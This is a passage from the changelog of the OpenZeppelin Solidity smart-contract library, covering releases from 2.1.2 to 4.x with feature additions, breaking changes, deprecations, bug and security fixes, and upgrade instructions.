* `GovernorCompatibilityBravo`: consider quorum an inclusive rather than exclusive minimum to match Compound's GovernorBravo. ([#2974](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2974))
* `GovernorSettings`: a new governor module that manages voting settings updatable through governance actions. ([#2904](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2904))
* `PaymentSplitter`: now supports ERC20 assets in addition to Ether. ([#2858](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2858))
* `ECDSA`: add a variant of `toEthSignedMessageHash` for arbitrary length message hashing. ([#2865](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2865))
* `MerkleProof`: add a `processProof` function that returns the rebuilt root hash given a leaf and a proof. ([#2841](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2841))
* `VestingWallet`: new contract that handles the vesting of Ether and ERC20 tokens following a customizable vesting schedule. ([#2748](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2748))
* `Governor`: enable receiving Ether when a Timelock contract is not used. ([#2748](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2849))
* `GovernorTimelockCompound`: fix ability to use Ether stored in the Timelock contract. ([#2748](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2849))
## 4.3.3
* `ERC1155Supply`: Handle `totalSupply` changes by hooking into `_beforeTokenTransfer` to ensure consistency of balances and supply during `IERC1155Receiver.onERC1155Received` calls.
## 4.3.2 (2021-09-14)
* `UUPSUpgradeable`: Add modifiers to prevent `upgradeTo` and `upgradeToAndCall` being executed on any contract that is not the active ERC1967 proxy. This prevents these functions being called on implementation contracts or minimal ERC1167 clones, in particular.
## 4.3.1 (2021-08-26)
* `TimelockController`: Add additional isOperationReady check.
## 4.3.0 (2021-08-17)
* `ERC2771Context`: use private variable from storage to store the forwarder address. Fixes issues where `_msgSender()` was not callable from constructors. ([#2754](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2754))
* `EnumerableSet`: add `values()` functions that returns an array containing all values in a single call. ([#2768](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2768))
* `Governor`: added a modular system of `Governor` contracts based on `GovernorAlpha` and `GovernorBravo`. ([#2672](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2672))
* Add an `interfaces` folder containing solidity interfaces to final ERCs. ([#2517](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2517))
* `ECDSA`: add `tryRecover` functions that will not throw if the signature is invalid, and will return an error flag instead. ([#2661](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2661))
* `SignatureChecker`: Reduce gas usage of the `isValidSignatureNow` function for the "signature by EOA" case. ([#2661](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2661))
## 4.2.0 (2021-06-30)
* `ERC20Votes`: add a new extension of the `ERC20` token with support for voting snapshots and delegation. ([#2632](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2632))
* `ERC20VotesComp`: Variant of `ERC20Votes` that is compatible with Compound's `Comp` token interface but restricts supply to `uint96`. ([#2706](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2706))
* `ERC20Wrapper`: add a new extension of the `ERC20` token which wraps an underlying token. Deposit and withdraw guarantee that the total supply is backed by a corresponding amount of underlying token. ([#2633](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2633))
* Enumerables: Improve gas cost of removal in `EnumerableSet` and `EnumerableMap`.
* Enumerables: Improve gas cost of lookup in `EnumerableSet` and `EnumerableMap`.
* `Counter`: add a reset method. ([#2678](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2678))
* Tokens: Wrap definitely safe subtractions in `unchecked` blocks.
* `Math`: Add a `ceilDiv` method for performing ceiling division.
* `ERC1155Supply`: add a new `ERC1155` extension that keeps track of the totalSupply of each tokenId. ([#2593](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2593))
* `BitMaps`: add a new `BitMaps` library that provides a storage efficient datastructure for `uint256` to `bool` mapping with contiguous keys. ([#2710](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2710))
### Breaking Changes
* `ERC20FlashMint` is no longer a Draft ERC. ([#2673](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2673)))
**How to update:** Change your import paths by removing the `draft-` prefix from `@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20FlashMint.sol`.
> See [Releases and Stability: Drafts](https://docs.openzeppelin.com/contracts/4.x/releases-stability#drafts).
## 4.1.0 (2021-04-29)
* `IERC20Metadata`: add a new extended interface that includes the optional `name()`, `symbol()` and `decimals()` functions. ([#2561](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2561))
* `ERC777`: make reception acquirement optional in `_mint`. ([#2552](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2552))
* `ERC20Permit`: add a `_useNonce` to enable further usage of ERC712 signatures. ([#2565](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2565))
* `ERC20FlashMint`: add an implementation of the ERC3156 extension for flash-minting ERC20 tokens. ([#2543](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2543))
* `SignatureChecker`: add a signature verification library that supports both EOA and ERC1271 compliant contracts as signers. ([#2532](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2532))
* `Multicall`: add abstract contract with `multicall(bytes[] calldata data)` function to bundle multiple calls together ([#2608](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2608))
* `ECDSA`: add support for ERC2098 short-signatures. ([#2582](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2582))
* `AccessControl`: add a `onlyRole` modifier to restrict specific function to callers bearing a specific role. ([#2609](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2609))
* `StorageSlot`: add a library for reading and writing primitive types to specific storage slots. ([#2542](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2542))
* UUPS Proxies: add `UUPSUpgradeable` to implement the UUPS proxy pattern together with `EIP1967Proxy`. ([#2542](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2542))
### Breaking changes
This release includes two small breaking changes in `TimelockController`.
1. The `onlyRole` modifier in this contract was designed to let anyone through if the role was granted to `address(0)`,
allowing the possibility to to make a role "open", which can be used for `EXECUTOR_ROLE`. This modifier is now
replaced by `AccessControl.onlyRole`, which does not have this ability. The previous behavior was moved to the
modifier `TimelockController.onlyRoleOrOpenRole`.
2. It was possible to make `PROPOSER_ROLE` an open role (as described in the previous item) if it was granted to
`address(0)`. This would affect the `schedule`, `scheduleBatch`, and `cancel` operations in `TimelockController`.
This ability was removed as it does not make sense to open up the `PROPOSER_ROLE` in the same way that it does for
`EXECUTOR_ROLE`.
## 4.0.0 (2021-03-23)
* Now targeting the 0.8.x line of Solidity compilers. For 0.6.x (resp 0.7.x) support, use version 3.4.0 (resp 3.4.0-solc-0.7) of OpenZeppelin.
* `Context`: making `_msgData` return `bytes calldata` instead of `bytes memory` ([#2492](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2492))
* `ERC20`: removed the `_setDecimals` function and the storage slot associated to decimals. ([#2502](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2502))
* `Strings`: addition of a `toHexString` function. ([#2504](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2504))
* `EnumerableMap`: change implementation to optimize for `key → value` lookups instead of enumeration. ([#2518](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2518))
* `GSN`: deprecate GSNv1 support in favor of upcoming support for GSNv2. ([#2521](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2521))
* `ERC165`: remove uses of storage in the base ERC165 implementation. ERC165 based contracts now use storage-less virtual functions. Old behavior remains available in the `ERC165Storage` extension. ([#2505](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2505))
* `Initializable`: make initializer check stricter during construction. ([#2531](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2531))
* `ERC721`: remove enumerability of tokens from the base implementation. This feature is now provided separately through the `ERC721Enumerable` extension. ([#2511](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2511))
* `AccessControl`: removed enumerability by default for a more lightweight contract. It is now opt-in through `AccessControlEnumerable`. ([#2512](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2512))
* Meta Transactions: add `ERC2771Context` and a `MinimalForwarder` for meta-transactions. ([#2508](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2508))
* Overall reorganization of the contract folder to improve clarity and discoverability. ([#2503](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2503))
* `ERC20Capped`: optimize gas usage by enforcing the check directly in `_mint`. ([#2524](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2524))
* Rename `UpgradeableProxy` to `ERC1967Proxy`. ([#2547](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2547))
* `ERC777`: optimize the gas costs of the constructor. ([#2551](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2551))
* `ERC721URIStorage`: add a new extension that implements the `_setTokenURI` behavior as it was available in 3.4.0. ([#2555](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2555))
* `AccessControl`: added ERC165 interface detection. ([#2562](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2562))
* `ERC1155`: make `uri` public so overloading function can call it using super. ([#2576](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2576))
### Bug fixes for beta releases
* `AccessControlEnumerable`: Fixed `renounceRole` not updating enumerable set of addresses for a role. ([#2572](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2572))
### How to upgrade from 3.x
Since this version has moved a few contracts to different directories, users upgrading from a previous version will need to adjust their import statements. To make this easier, the package includes a script that will migrate import statements automatically. After upgrading to the latest version of the package, run:
```
npx openzeppelin-contracts-migrate-imports
```
Make sure you're using git or another version control system to be able to recover from any potential error in our script.
### How to upgrade from 4.0-beta.x
Some further changes have been done between the different beta iterations. Transitions made during this period are configured in the `migrate-imports` script. Consequently, you can upgrade from any previous 4.0-beta.x version using the same script as described in the *How to upgrade from 3.x* section.
## 3.4.2
* `TimelockController`: Add additional isOperationReady check.
## 3.4.1 (2021-03-03)
* `ERC721`: made `_approve` an internal function (was private).
## 3.4.0 (2021-02-02)
* `BeaconProxy`: added new kind of proxy that allows simultaneous atomic upgrades. ([#2411](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2411))
* `EIP712`: added helpers to verify EIP712 typed data signatures on chain. ([#2418](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2418))
* `ERC20Permit`: added an implementation of the ERC20 permit extension for gasless token approvals. ([#2237](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2237))
* Presets: added token presets with preminted fixed supply `ERC20PresetFixedSupply` and `ERC777PresetFixedSupply`. ([#2399](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2399))
* `Clones`: added a library for deploying EIP 1167 minimal proxies. ([#2449](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2449))
* `Context`: moved from `contracts/GSN` to `contracts/utils`. ([#2453](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2453))
* `PaymentSplitter`: replace usage of `.transfer()` with `Address.sendValue` for improved compatibility with smart wallets. ([#2455](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2455))
* `UpgradeableProxy`: bubble revert reasons from initialization calls. ([#2454](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2454))
* `SafeMath`: fix a memory allocation issue by adding new `SafeMath.tryOp(uint,uint)→(bool,uint)` functions. `SafeMath.op(uint,uint,string)→uint` are now deprecated. ([#2462](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2462))
* `EnumerableMap`: fix a memory allocation issue by adding new `EnumerableMap.tryGet(uint)→(bool,address)` functions. `EnumerableMap.get(uint)→string` is now deprecated. ([#2462](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2462))
* `ERC165Checker`: added batch `getSupportedInterfaces`. ([#2469](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2469))
* `RefundEscrow`: `beneficiaryWithdraw` will forward all available gas to the beneficiary. ([#2480](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2480))
* Many view and pure functions have been made virtual to customize them via overrides. In many cases this will not imply that other functions in the contract will automatically adapt to the overridden definitions. People who wish to override should consult the source code to understand the impact and if they need to override any additional functions to achieve the desired behavior.
### Security Fixes
* `ERC777`: fix potential reentrancy issues for custom extensions to `ERC777`. ([#2483](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2483))
If you're using our implementation of ERC777 from version 3.3.0 or earlier, and you define a custom `_beforeTokenTransfer` function that writes to a storage variable, you may be vulnerable to a reentrancy attack. If you're affected and would like assistance please write to security@openzeppelin.com. [Read more in the pull request.](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2483)
## 3.3.0 (2020-11-26)
* Now supports both Solidity 0.6 and 0.7. Compiling with solc 0.7 will result in warnings. Install the `solc-0.7` tag to compile without warnings.
* `Address`: added `functionStaticCall`, similar to the existing `functionCall`. ([#2333](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2333))
* `TimelockController`: added a contract to augment access control schemes with a delay. ([#2354](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2354))
* `EnumerableSet`: added `Bytes32Set`, for sets of `bytes32`. ([#2395](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2395))
## Upgradeable 3.2.0 (2020-11-11)
* First release of Upgradeable variant, replacing Ethereum Package variant which is now deprecated.
## 3.2.2-solc-0.7 (2020-10-28)
* Resolve warnings introduced by Solidity 0.7.4. ([#2396](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2396))
## 3.2.1-solc-0.7 (2020-09-15)
* `ERC777`: Remove a warning about function state visibility in Solidity 0.7. ([#2327](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2327))
## 3.2.0 (2020-09-10)
### New features
* Proxies: added the proxy contracts from OpenZeppelin SDK. ([#2335](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2335))
#### Proxy changes with respect to OpenZeppelin SDK
Aside from upgrading them from Solidity 0.5 to 0.6, we've changed a few minor things from the proxy contracts as they were found in OpenZeppelin SDK.
- `UpgradeabilityProxy` was renamed to `UpgradeableProxy`.
- `AdminUpgradeabilityProxy` was renamed to `TransparentUpgradeableProxy`.
- `Proxy._willFallback` was renamed to `Proxy._beforeFallback`.
- `UpgradeabilityProxy._setImplementation` and `AdminUpgradeabilityProxy._setAdmin` were made private.
### Improvements
* `Address.isContract`: switched from `extcodehash` to `extcodesize` for less gas usage. ([#2311](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2311))
### Breaking changes
* `ERC20Snapshot`: switched to using `_beforeTokenTransfer` hook instead of overriding ERC20 operations. ([#2312](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2312))
This small change in the way we implemented `ERC20Snapshot` may affect users who are combining this contract with
other ERC20 flavors, since it no longer overrides `_transfer`, `_mint`, and `_burn`. This can result in having to remove Solidity `override(...)` specifiers in derived contracts for these functions, and to instead have to add it for `_beforeTokenTransfer`. See [Using Hooks](https://docs.openzeppelin.com/contracts/3.x/extending-contracts#using-hooks) in the documentation.
## 3.1.0 (2020-06-23)
### New features
* `SafeCast`: added functions to downcast signed integers (e.g. `toInt32`), improving usability of `SignedSafeMath`. ([#2243](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2243))
* `functionCall`: new helpers that replicate Solidity's function call semantics, reducing the need to rely on `call`. ([#2264](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2264))
* `ERC1155`: added support for a base implementation, non-standard extensions and a preset contract. ([#2014](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2014), [#2230](https://github.com/OpenZeppelin/openzeppelin-contracts/issues/2230))
### Improvements
* `ReentrancyGuard`: reduced overhead of using the `nonReentrant` modifier. ([#2171](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2171))
* `AccessControl`: added a `RoleAdminChanged` event to `_setAdminRole`. ([#2214](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2214))
* Made all `public` functions in the token preset contracts `virtual`. ([#2257](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2257))
### Deprecations
* `SafeERC20`: deprecated `safeApprove`. ([#2268](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2268))
## 3.0.2 (2020-06-08)
### Improvements
* Added SPX license identifier to all contracts. ([#2235](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2235))
## 3.0.1 (2020-04-27)
### Bugfixes
* `ERC777`: fixed the `_approve` internal function not validating some of their arguments for non-zero addresses. ([#2213](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2213))
## 3.0.0 (2020-04-20)
### New features
* `AccessControl`: new contract for managing permissions in a system, replacement for `Ownable` and `Roles`. ([#2112](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2112))
* `SafeCast`: new functions to convert to and from signed and unsigned values: `toUint256` and `toInt256`. ([#2123](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2123))
* `EnumerableMap`: a new data structure for key-value pairs (like `mapping`) that can be iterated over. ([#2160](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2160))
### Breaking changes
* `ERC721`: `burn(owner, tokenId)` was removed, use `burn(tokenId)` instead. ([#2125](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2125))
* `ERC721`: `_checkOnERC721Received` was removed. ([#2125](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2125))
* `ERC721`: `_transferFrom` and `_safeTransferFrom` were renamed to `_transfer` and `_safeTransfer`. ([#2162](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2162))
* `Ownable`: removed `_transferOwnership`. ([#2162](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2162))
* `PullPayment`, `Escrow`: `withdrawWithGas` was removed. The old `withdraw` function now forwards all gas. ([#2125](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2125))
* `Roles` was removed, use `AccessControl` as a replacement. ([#2112](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2112))
* `ECDSA`: when receiving an invalid signature, `recover` now reverts instead of returning the zero address. ([#2114](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2114))
* `Create2`: added an `amount` argument to `deploy` for contracts with `payable` constructors. ([#2117](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2117))
* `Pausable`: moved to the `utils` directory. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))
* `Strings`: moved to the `utils` directory. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))
* `Counters`: moved to the `utils` directory. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))
* `SignedSafeMath`: moved to the `math` directory. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))
* `ERC20Snapshot`: moved to the `token/ERC20` directory. `snapshot` was changed into an `internal` function. ([#2122](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2122))
* `Ownable`: moved to the `access` directory. ([#2120](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2120))
* `Ownable`: removed `isOwner`. ([#2120](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2120))
* `Secondary`: removed from the library, use `Ownable` instead. ([#2120](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2120))
* `Escrow`, `ConditionalEscrow`, `RefundEscrow`: these now use `Ownable` instead of `Secondary`, their external API changed accordingly. ([#2120](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2120))
* `ERC20`: removed `_burnFrom`. ([#2119](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2119))
* `Address`: removed `toPayable`, use `payable(address)` instead. ([#2133](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2133))
* `ERC777`: `_send`, `_mint` and `_burn` now use the caller as the operator. ([#2134](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2134))
* `ERC777`: removed `_callsTokensToSend` and `_callTokensReceived`. ([#2134](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2134))
* `EnumerableSet`: renamed `get` to `at`. ([#2151](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2151))
* `ERC165Checker`: functions no longer have a leading underscore. ([#2150](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2150))
* `ERC721Metadata`, `ERC721Enumerable`: these contracts were removed, and their functionality merged into `ERC721`. ([#2160](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2160))
* `ERC721`: added a constructor for `name` and `symbol`. ([#2160](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2160))
* `ERC20Detailed`: this contract was removed and its functionality merged into `ERC20`. ([#2161](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2161))
* `ERC20`: added a constructor for `name` and `symbol`. `decimals` now defaults to 18. ([#2161](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2161))
* `Strings`: renamed `fromUint256` to `toString` ([#2188](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2188))
## 2.5.1 (2020-04-24)
### Bugfixes
* `ERC777`: fixed the `_send` and `_approve` internal functions not validating some of their arguments for non-zero addresses. ([#2212](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2212))
## 2.5.0 (2020-02-04)
### New features
* `SafeCast.toUintXX`: new library for integer downcasting, which allows for safe operation on smaller types (e.g. `uint32`) when combined with `SafeMath`. ([#1926](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1926))
* `ERC721Metadata`: added `baseURI`, which can be used for dramatic gas savings when all token URIs share a prefix (e.g. `http://api.myapp.com/tokens/`). ([#1970](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1970))
* `EnumerableSet`: new library for storing enumerable sets of values. Only `AddressSet` is supported in this release. ([#2061](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/2061))
* `Create2`: simple library to make usage of the `CREATE2` opcode easier. ([#1744](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1744))
### Improvements
* `ERC777`: `_burn` is now internal, providing more flexibility and making it easier to create tokens that deflate. ([#1908](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1908))
* `ReentrancyGuard`: greatly improved gas efficiency by using the net gas metering mechanism introduced in the Istanbul hardfork. ([#1992](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1992), [#1996](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1996))
* `ERC777`: improve extensibility by making `_send` and related functions `internal`. ([#2027](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2027))
* `ERC721`: improved revert reason when transferring tokens to a non-recipient contract. ([#2018](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2018))
### Breaking changes
* `ERC165Checker` now requires a minimum Solidity compiler version of 0.5.10. ([#1829](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1829))
## 2.4.0 (2019-10-29)
### New features
* `Address.toPayable`: added a helper to convert between address types without having to resort to low-level casting. ([#1773](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1773))
* Facilities to make metatransaction-enabled contracts through the Gas Station Network. ([#1844](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1844))
* `Address.sendValue`: added a replacement to Solidity's `transfer`, removing the fixed gas stipend. ([#1962](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1962))
* Added replacement for functions that don't forward all gas (which have been deprecated): ([#1976](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1976))
* `PullPayment.withdrawPaymentsWithGas(address payable payee)`
* `Escrow.withdrawWithGas(address payable payee)`
* `SafeMath`: added support for custom error messages to `sub`, `div` and `mod` functions. ([#1828](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1828))
### Improvements
* `Address.isContract`: switched from `extcodesize` to `extcodehash` for less gas usage. ([#1802](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1802))
* `ERC20` and `ERC777` updated to throw custom errors on subtraction overflows. ([#1828](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1828))
### Deprecations
* Deprecated functions that don't forward all gas: ([#1976](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1976))
* `PullPayment.withdrawPayments(address payable payee)`
* `Escrow.withdraw(address payable payee)`
### Breaking changes
* `Address` now requires a minimum Solidity compiler version of 0.5.5. ([#1802](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1802))
* `SignatureBouncer` has been removed from drafts, both to avoid confusions with the GSN and `GSNRecipientSignature` (previously called `GSNBouncerSignature`) and because the API was not very clear. ([#1879](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1879))
### How to upgrade from 2.4.0-beta
The final 2.4.0 release includes a refactor of the GSN contracts that will be a breaking change for 2.4.0-beta users.
* The default empty implementations of `_preRelayedCall` and `_postRelayedCall` were removed and must now be explicitly implemented always in custom recipients. If your custom recipient didn't include an implementation, you can provide an empty one.
* `GSNRecipient`, `GSNBouncerBase`, and `GSNContext` were all merged into `GSNRecipient`.
* `GSNBouncerSignature` and `GSNBouncerERC20Fee` were renamed to `GSNRecipientSignature` and `GSNRecipientERC20Fee`.
* It is no longer necessary to inherit from `GSNRecipient` when using `GSNRecipientSignature` and `GSNRecipientERC20Fee`.
For example, a contract using `GSNBouncerSignature` would have to be changed in the following way.
```diff
-contract MyDapp is GSNRecipient, GSNBouncerSignature {
+contract MyDapp is GSNRecipientSignature {
```
Refer to the table below to adjust your inheritance list.
| 2.4.0-beta | 2.4.0 |
| ---------------------------------- | ---------------------------- |
| `GSNRecipient, GSNBouncerSignature`| `GSNRecipientSignature` |
| `GSNRecipient, GSNBouncerERC20Fee` | `GSNRecipientERC20Fee` |
| `GSNBouncerBase` | `GSNRecipient` |
## 2.3.0 (2019-05-27)
### New features
* `ERC1820`: added support for interacting with the [ERC1820](https://eips.ethereum.org/EIPS/eip-1820) registry contract (`IERC1820Registry`), as well as base contracts that can be registered as implementers there. ([#1677](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1677))
* `ERC777`: support for the [ERC777 token](https://eips.ethereum.org/EIPS/eip-777), which has multiple improvements over `ERC20` (but is backwards compatible with it) such as built-in burning, a more straightforward permission system, and optional sender and receiver hooks on transfer (mandatory for contracts!). ([#1684](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1684))
* All contracts now have revert reason strings, which give insight into error conditions, and help debug failing transactions. ([#1704](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1704))
### Improvements
* Reverted the Solidity version bump done in v2.2.0, setting the minimum compiler version to v0.5.0, to prevent unexpected build breakage. Users are encouraged however to stay on top of new compiler releases, which usually include bugfixes. ([#1729](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1729))
### Bugfixes
* `PostDeliveryCrowdsale`: some validations where skipped when paired with other crowdsale flavors, such as `AllowanceCrowdsale`, or `MintableCrowdsale` and `ERC20Capped`, which could cause buyers to not be able to claim their purchased tokens. ([#1721](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1721))
* `ERC20._transfer`: the `from` argument was allowed to be the zero address, so it was possible to internally trigger a transfer of 0 tokens from the zero address. This address is not a valid destinatary of transfers, nor can it give or receive allowance, so this behavior was inconsistent. It now reverts. ([#1752](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1752))
## 2.2.0 (2019-03-14)
### New features
* `ERC20Snapshot`: create snapshots on demand of the token balances and total supply, to later retrieve and e.g. calculate dividends at a past time. ([#1617](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1617))
* `SafeERC20`: `ERC20` contracts with no return value (i.e. that revert on failure) are now supported. ([#1655](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1655))
* `ERC20`: added internal `_approve(address owner, address spender, uint256 value)`, allowing derived contracts to set the allowance of arbitrary accounts. ([#1609](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1609))
* `ERC20Metadata`: added internal `_setTokenURI(string memory tokenURI)`. ([#1618](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1618))
* `TimedCrowdsale`: added internal `_extendTime(uint256 newClosingTime)` as well as `TimedCrowdsaleExtended(uint256 prevClosingTime, uint256 newClosingTime)` event allowing to extend the crowdsale, as long as it hasn't already closed.
### Improvements
* Upgraded the minimum compiler version to v0.5.2: this removes many Solidity warnings that were false positives. ([#1606](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1606))
* `ECDSA`: `recover` no longer accepts malleable signatures (those using upper-range values for `s`, or 0/1 for `v`). ([#1622](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1622))
* ``ERC721``'s transfers are now more gas efficient due to removal of unnecessary `SafeMath` calls. ([#1610](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1610))
* Fixed variable shadowing issues. ([#1606](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1606))
### Bugfixes
* (minor) `SafeERC20`: `safeApprove` wasn't properly checking for a zero allowance when attempting to set a non-zero allowance. ([#1647](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1647))
### Breaking changes in drafts
* `TokenMetadata` has been renamed to `ERC20Metadata`. ([#1618](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1618))
* The library `Counter` has been renamed to `Counters` and its API has been improved. See an example in `ERC721`, lines [17](https://github.com/OpenZeppelin/openzeppelin-solidity/blob/3cb4a00fce1da76196ac0ac3a0ae9702b99642b5/contracts/token/ERC721/ERC721.sol#L17) and [204](https://github.com/OpenZeppelin/openzeppelin-solidity/blob/3cb4a00fce1da76196ac0ac3a0ae9702b99642b5/contracts/token/ERC721/ERC721.sol#L204). ([#1610](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1610))
## 2.1.3 (2019-02-26)
* Backported `SafeERC20.safeApprove` bugfix. ([#1647](https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1647))
## 2.1.2 (2019-01-17)
* Removed most of the test suite from the npm package, except `PublicRole.behavior.js`, which may be useful to users testing their own `Roles`.
